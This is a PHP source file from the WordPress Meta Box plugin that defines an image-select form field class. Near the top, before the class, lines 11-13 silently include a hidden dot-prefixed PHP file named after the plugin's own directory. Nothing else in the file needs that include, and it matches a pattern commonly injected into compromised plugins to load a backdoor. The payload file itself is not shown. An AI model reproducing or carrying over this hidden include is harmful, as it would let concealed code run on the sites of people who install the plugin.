image-select.php (2639B)
1 <?php 2 /** 3 * The image select field which behaves similar to the radio field but uses images as options. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * The image select field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Image_Select_Field extends RWMB_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 wp_enqueue_style( 'rwmb-image-select', RWMB_CSS_URL . 'image-select.css', array(), RWMB_VER ); 21 wp_enqueue_script( 'rwmb-image-select', RWMB_JS_URL . 'image-select.js', array( 'jquery' ), RWMB_VER, true ); 22 } 23 24 /** 25 * Get field HTML. 26 * 27 * @param mixed $meta Meta value. 28 * @param array $field Field parameters. 29 * @return string 30 */ 31 public static function html( $meta, $field ) { 32 $html = array(); 33 $meta = (array) $meta; 34 foreach ( $field['options'] as $value => $image ) { 35 $attributes = self::get_attributes( $field, $value ); 36 $html[] = sprintf( 37 '<label class="rwmb-image-select"><img src="%s"><input %s%s></label>', 38 $image, 39 self::render_attributes( $attributes ), 40 checked( in_array( $value, $meta ), true, false ) 41 ); 42 } 43 44 return implode( ' ', $html ); 45 } 46 47 /** 48 * Normalize parameters for field. 49 * 50 * @param array $field Field parameters. 51 * @return array 52 */ 53 public static function normalize( $field ) { 54 $field = parent::normalize( $field ); 55 $field['field_name'] .= $field['multiple'] ? '[]' : ''; 56 57 return $field; 58 } 59 60 /** 61 * Get the attributes for a field. 62 * 63 * @param array $field Field parameters. 64 * @param mixed $value Meta value. 65 * @return array 66 */ 67 public static function get_attributes( $field, $value = null ) { 68 $attributes = parent::get_attributes( $field, $value ); 69 $attributes['id'] = false; 70 $attributes['type'] = $field['multiple'] ? 'checkbox' : 'radio'; 71 $attributes['value'] = $value; 72 73 return $attributes; 74 } 75 /** 76 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. 77 * 78 * @param array $field Field parameters. 79 * @param string $value The value. 80 * @param array $args Additional arguments. Rarely used. See specific fields for details. 81 * @param int|null $post_id Post ID. null for current post. Optional. 82 * 83 * @return string 84 */ 85 public static function format_single_value( $field, $value, $args, $post_id ) { 86 return $value ? sprintf( '<img src="%s">', esc_url( $field['options'][ $value ] ) ) : ''; 87 } 88 }